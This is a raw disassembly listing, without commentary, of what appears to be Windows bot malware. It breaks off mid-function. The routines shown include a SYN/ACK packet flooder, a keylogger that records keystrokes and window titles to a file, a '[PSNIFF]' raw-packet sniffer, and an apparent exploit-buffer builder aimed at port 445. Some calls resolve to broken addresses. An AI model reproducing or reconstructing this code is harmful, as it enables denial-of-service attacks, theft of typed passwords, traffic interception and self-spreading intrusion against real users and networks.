dword_424058 call edi push eax call sub_417302 pop ecx push 0FFh push 3 push 2 call dword_43AE18 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401E4B call dword_43AD2C push eax lea eax, [ebp+var_440] push offset dword_42642C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401E2B push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401E2B: ; CODE XREF: sub_401D82+84j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx call near ptr 26302E2h nop loc_401E4B: ; CODE XREF: sub_401D82+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_43AD78 cmp eax, 0FFFFFFFFh jnz short loc_401EC9 call dword_43AD2C push eax lea eax, [ebp+var_440] push offset dword_4263E4 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401EA9 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401EA9: ; CODE XREF: sub_401D82+102j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 26302E2h loc_401EC9: ; CODE XREF: sub_401D82+DFj lea eax, [ebp+var_23C] push eax call dword_43ADD8 cmp eax, 0FFFFFFFFh jnz short loc_401F39 lea eax, [ebp+var_440] push offset dword_4263B4 push eax call sub_4172B0 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_401F19 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401F19: ; CODE XREF: sub_401D82+172j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx call near ptr 26302E2h nop loc_401F39: ; CODE XREF: sub_401D82+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_43AD98 mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_43ADD8 mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi mov [ebp+var_30], eax loc_401F71: ; CODE XREF: sub_401D82+430j call edi sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_402235 push 28h mov [ebp+var_2C], 45h call dword_43AD98 cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_401FE4 call sub_41730C mov esi, eax shl esi, 8 call sub_41730C add esi, eax shl esi, 8 call sub_41730C add esi, eax shl esi, 8 call sub_41730C add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_401FFA ; --------------------------------------------------------------------------- loc_401FE4: ; CODE XREF: sub_401D82+233j push [ebp+var_240] call sub_40AEE0 pop ecx push eax call dword_43ADD8 mov [ebp+var_20], eax loc_401FFA: ; CODE XREF: sub_401D82+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_402018 call sub_41730C cdq mov ecx, 401h idiv ecx push edx jmp short loc_40201E ; --------------------------------------------------------------------------- loc_402018: ; CODE XREF: sub_401D82+284j push [ebp+var_B8] loc_40201E: ; CODE XREF: sub_401D82+294j call dword_43AD98 mov [ebp+var_16], ax call sub_41730C cdq mov ecx, 401h idiv ecx push edx call dword_43AD98 push 12345678h mov [ebp+var_18], ax call dword_43AD94 mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40206E mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40206E: ; CODE XREF: sub_401D82+2E1j lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40208E mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40208E: ; CODE XREF: sub_401D82+301j lea eax, [ebp+var_1BC] push offset aRandom ; "random" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_4020CA call sub_41730C push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_41730C push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_4020CA: ; CODE XREF: sub_401D82+2EAj ; sub_401D82+30Aj ... push 200h mov [ebp+var_C], 50h call dword_43AD98 mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_43AD98 mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_417390 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_417390 lea eax, [ebp+var_A0] push 34h push eax call sub_40AF39 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417390 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_417390 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AF39 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_43ADFC cmp eax, 0FFFFFFFFh jz short loc_4021B7 inc [ebp+arg_0] jmp loc_401F71 ; --------------------------------------------------------------------------- loc_4021B7: ; CODE XREF: sub_401D82+42Bj push [ebp+var_4] call dword_43AE30 call dword_43AD2C push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset dword_426344 lea eax, [ebp+var_440] push 200h push eax call sub_41782A add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_402215 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_402215: ; CODE XREF: sub_401D82+46Ej lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 26302E2h loc_402235: ; CODE XREF: sub_401D82+203j push [ebp+var_4] call dword_43AE30 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset dword_4262E4 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_4022A6 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_4022A6: ; CODE XREF: sub_401D82+4FFj lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 26302E2h sub_401D82 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022C6 proc near ; CODE XREF: sub_4023A7+B4p ; sub_4023A7+253p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax nop call near ptr 264047Bh lea eax, [ebp+var_114] push 104h push eax nop call near ptr 2640000h lea eax, [ebp+var_114] push offset asc_426C1C ; "\\" push eax call sub_4179D0 lea eax, [ebp+var_114] push offset dword_42F688 push eax call sub_4179D0 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_4179A8 mov esi, eax add esp, 18h test esi, esi jnz short loc_40232D push 1 pop eax jmp short loc_4023A4 ; --------------------------------------------------------------------------- loc_40232D: ; CODE XREF: sub_4022C6+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_417956 push esi call sub_417900 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_4023A2 push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_426BDC push 200h push eax call sub_41782A push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_40D679 add esp, 24h loc_4023A2: ; CODE XREF: sub_4022C6+A3j xor eax, eax loc_4023A4: ; CODE XREF: sub_4022C6+65j pop esi leave retn sub_4022C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4023A7 proc near ; DATA XREF: sub_40EE72+1F95o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_43AD20 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43AD34 mov ebx, 200h loc_402402: ; CODE XREF: sub_4023A7+2C7j push 8 nop call near ptr 2630F90h call dword_43AD20 cmp eax, [ebp+var_8] jz short loc_40248A lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43AD34 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_4172B0 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417330 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417330 add esp, 0Ch loc_40248A: ; CODE XREF: sub_4023A7+6Cj mov [ebp+arg_0], offset aB ; "b" loc_402491: ; CODE XREF: sub_4023A7+2BDj push 10h call dword_43AC78 movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_43AD64 test ah, 80h jz short loc_402529 push 14h call dword_43AC78 test ax, ax jz short loc_4024DA cmp esi, 0FFFFFFFFh jle short loc_4024DA cmp edi, 40h jle short loc_4024DA cmp edi, 5Bh jge short loc_4024DA mov [ebp+edi*4+var_8DC], 1 jmp loc_402659 ; --------------------------------------------------------------------------- loc_4024DA: ; CODE XREF: sub_4023A7+112j ; sub_4023A7+117j ... push 14h call dword_43AC78 test ax, ax jz short loc_402505 test esi, esi jge short loc_402519 cmp edi, 40h jle short loc_402505 cmp edi, 5Bh jge short loc_402505 mov [ebp+edi*4+var_8DC], 2 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402505: ; CODE XREF: sub_4023A7+13Ej ; sub_4023A7+147j ... test esi, esi jge short loc_402519 mov [ebp+edi*4+var_8DC], 3 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_4023A7+142j ; sub_4023A7+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402529: ; CODE XREF: sub_4023A7+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_402659 and dword ptr [eax], 0 lea eax, [ebp+var_2DC] cmp edi, 8 push eax jnz short loc_402561 call sub_417AB0 and [ebp+eax+var_2DD], 0 pop ecx jmp loc_402659 ; --------------------------------------------------------------------------- loc_402561: ; CODE XREF: sub_4023A7+1A5j call sub_417AB0 cmp eax, 1B9h pop ecx jbe short loc_402593 call dword_43AD20 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43AD34 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_4025D4 ; --------------------------------------------------------------------------- loc_402593: ; CODE XREF: sub_4023A7+1C5j cmp edi, 0Dh jnz loc_40262B lea eax, [ebp+var_2DC] push eax call sub_417AB0 test eax, eax pop ecx jz loc_402659 call dword_43AD20 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43AD34 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_4025D4: ; CODE XREF: sub_4023A7+1EAj lea eax, [ebp+var_4DC] push eax call sub_4172B0 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417330 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417330 add esp, 0Ch jmp short loc_402659 ; --------------------------------------------------------------------------- loc_40262B: ; CODE XREF: sub_4023A7+1EFj cmp esi, 1 jz short loc_402644 cmp esi, 3 jz short loc_402644 cmp esi, 2 jz short loc_40263F cmp esi, 4 jnz short loc_402659 loc_40263F: ; CODE XREF: sub_4023A7+291j push [ebp+arg_0] jmp short loc_40264B ; --------------------------------------------------------------------------- loc_402644: ; CODE XREF: sub_4023A7+287j ; sub_4023A7+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax loc_40264B: ; CODE XREF: sub_4023A7+29Bj lea eax, [ebp+var_2DC] push eax call sub_4179D0 pop ecx pop ecx loc_402659: ; CODE XREF: sub_4023A7+12Ej ; sub_4023A7+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_426BA4 jl loc_402491 cmp [ebp+var_4], 0 jz loc_402402 push [ebp+var_D8] call sub_417078 pop ecx push 0 call near ptr 26302E2h nop sub_4023A7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402688 proc near ; DATA XREF: sub_40EE72+1DDBo var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_417B30 mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp+var_1C] push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_43AD98 push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AEE0 pop ecx push eax call dword_43ADD8 push esi push 3 push 2 mov [ebp+var_18], eax call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_40275D call dword_43AD2C push eax lea eax, [ebp+var_2B4] push offset unk_427604 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402740 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_402740: ; CODE XREF: sub_402688+96j lea eax, [ebp+var_2B4] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push esi nop call near ptr 26302E2h loc_40275D: ; CODE XREF: sub_402688+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_4407FC[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_43ADC4 cmp eax, 0FFFFFFFFh jnz short loc_4027E2 call dword_43AD2C push eax lea eax, [ebp+var_2B4] push offset unk_4275C0 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_4027BE push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_4027BE: ; CODE XREF: sub_402688+114j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push edi call dword_43AE30 push [ebp+var_30] call sub_417078 pop ecx push esi nop call near ptr 26302E2h loc_4027E2: ; CODE XREF: sub_402688+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_43AD44 cmp eax, 0FFFFFFFFh jnz short loc_402865 call dword_43AD2C push eax lea eax, [ebp+var_2B4] push offset unk_427578 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402841 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_402841: ; CODE XREF: sub_402688+197j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push edi call dword_43AE30 push [ebp+var_30] call sub_417078 pop ecx push esi nop call near ptr 26302E2h loc_402865: ; CODE XREF: sub_402688+177j push ebx mov ebx, offset dword_426C78 loc_40286B: ; CODE XREF: sub_402688+21Bj ; sub_402688+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_43ADB0 cmp eax, 0FFFFFFFFh jz loc_40297D cmp [ebp+var_102AB], 6 jnz short loc_40286B mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_40286B lea eax, [ebp+var_1028C] push offset aPsniff ; "[PSNIFF]" push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40286B mov eax, ebx xor edi, edi test eax, eax jz short loc_40286B mov [ebp+arg_0], ebx loc_4028D9: ; CODE XREF: sub_402688+26Cj push eax lea eax, [ebp+var_1028C] push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_4028FB inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_4028D9 jmp loc_40286B ; --------------------------------------------------------------------------- loc_4028FB: ; CODE XREF: sub_402688+262j lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_43ACD4 movzx eax, ax push eax push [ebp+var_C] call dword_43AE24 push eax lea eax, [edi+edi*2] mov eax, dword_426C8C[eax*8] push off_426C68[eax*4] lea eax, [ebp+var_2B4] push offset unk_427528 push 200h push eax call sub_41782A add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_40296B push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_40296B: ; CODE XREF: sub_402688+2C1j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx jmp loc_40286B ; --------------------------------------------------------------------------- loc_40297D: ; CODE XREF: sub_402688+20Ej call dword_43AD2C push eax push offset unk_4274E4 lea eax, [ebp+var_2B4] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_4029C3 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_4029C3: ; CODE XREF: sub_402688+319j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push [ebp+var_4] call dword_43AE30 push [ebp+var_30] call sub_417078 pop ecx push esi call near ptr 26302E2h nop sub_402688 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029E9 proc near ; CODE XREF: sub_402DD7+28p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_427B6C lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset off_427B64 lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_436EDC push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi nop call near ptr 2650000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_417B5F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_417B5F mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_436ED8 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_43AE38 cmp eax, 5 mov ebx, 4C3h jz short loc_402AAD cmp eax, ebx jnz short loc_402AB7 loc_402AAD: ; CODE XREF: sub_4029E9+BEj push edi push edi push edi push esi call dword_43AE38 loc_402AB7: ; CODE XREF: sub_4029E9+C2j cmp eax, 5 jz short loc_402AC5 cmp eax, ebx jz short loc_402AC5 push 1 pop eax jmp short loc_402AC7 ; --------------------------------------------------------------------------- loc_402AC5: ; CODE XREF: sub_4029E9+D1j ; sub_4029E9+D5j xor eax, eax loc_402AC7: ; CODE XREF: sub_4029E9+DAj pop edi pop esi pop ebx leave retn sub_4029E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402ACC proc near ; CODE XREF: sub_402DD7+7Ap ; sub_402DD7+15Ap var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_427B6C lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset off_427B64 lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_436EDC pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi nop call near ptr 2650000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_417B5F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_417B5F add esp, 10h loc_402B5D: ; CODE XREF: sub_402ACC+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_43ACD8 test eax, eax jz short loc_402B7D push 7D0h nop call near ptr 2630F90h jmp short loc_402B5D ; --------------------------------------------------------------------------- loc_402B7D: ; CODE XREF: sub_402ACC+A2j push 1 pop eax pop edi pop esi leave retn sub_402ACC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B84 proc near ; CODE XREF: sub_402DD7+A9p ; sub_402DD7+1E7p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_417B30 push esi push edi push offset byte_42F678 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_416BCD mov edi, eax add esp, 10h test edi, edi jz loc_402DD3 push ebx mov ebx, offset off_427A80 push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_417390 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417330 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_417390 add esp, 24h lea esi, [edi+0D7h] loc_402C09: ; CODE XREF: sub_402B84+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_402C59 mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_417390 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417330 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_417390 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_402C09 ; --------------------------------------------------------------------------- loc_402C59: ; CODE XREF: sub_402B84+90j cmp [ebp+arg_C4], 0 jz short loc_402C74 cmp [ebp+arg_C0], 3 jz short loc_402C7D cmp [ebp+arg_C0], 0 jmp short loc_402C7B ; --------------------------------------------------------------------------- loc_402C74: ; CODE XREF: sub_402B84+DCj cmp [ebp+arg_C0], 3 loc_402C7B: ; CODE XREF: sub_402B84+EEj jnz short loc_402C86 loc_402C7D: ; CODE XREF: sub_402B84+E5j push 4 push offset dword_427B60 jmp short loc_402C8D ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_402B84:loc_402C7Bj push 4 push offset dword_427B5C loc_402C8D: ; CODE XREF: sub_402B84+100j lea eax, [ebp+var_1FE0] push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_427694 push eax call sub_417390 push 10h lea eax, [ebp+var_CA4] push offset dword_4279F8 push eax call sub_417390 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_417390 lea edi, [esi+370h] push 3Ch push offset off_427A0C lea eax, [ebp+edi+var_1004] push eax call sub_417390 add edi, 3Ch push 30h push offset dword_427A4C lea eax, [ebp+edi+var_1004] push eax call sub_417390 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_417B89 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_417330 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_417390 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_402DD3: ; CODE XREF: sub_402B84+3Ej pop edi pop esi leave retn sub_402B84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DD7 proc near ; CODE XREF: sub_407767+1EAp ; DATA XREF: ___:off_42ACB4o var_1338 = byte ptr -1338h var_338 = byte ptr -338h var_138 = byte ptr -138h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp mov eax, 1338h call sub_417B30 cmp [ebp+arg_A0], 1BDh push ebx push esi push edi jnz loc_402F45 lea eax, [ebp+var_34] push eax lea eax, [ebp+arg_4] push eax call sub_4029E9 pop ecx test eax, eax pop ecx jz loc_403055 lea eax, [ebp+arg_4] push eax lea eax, 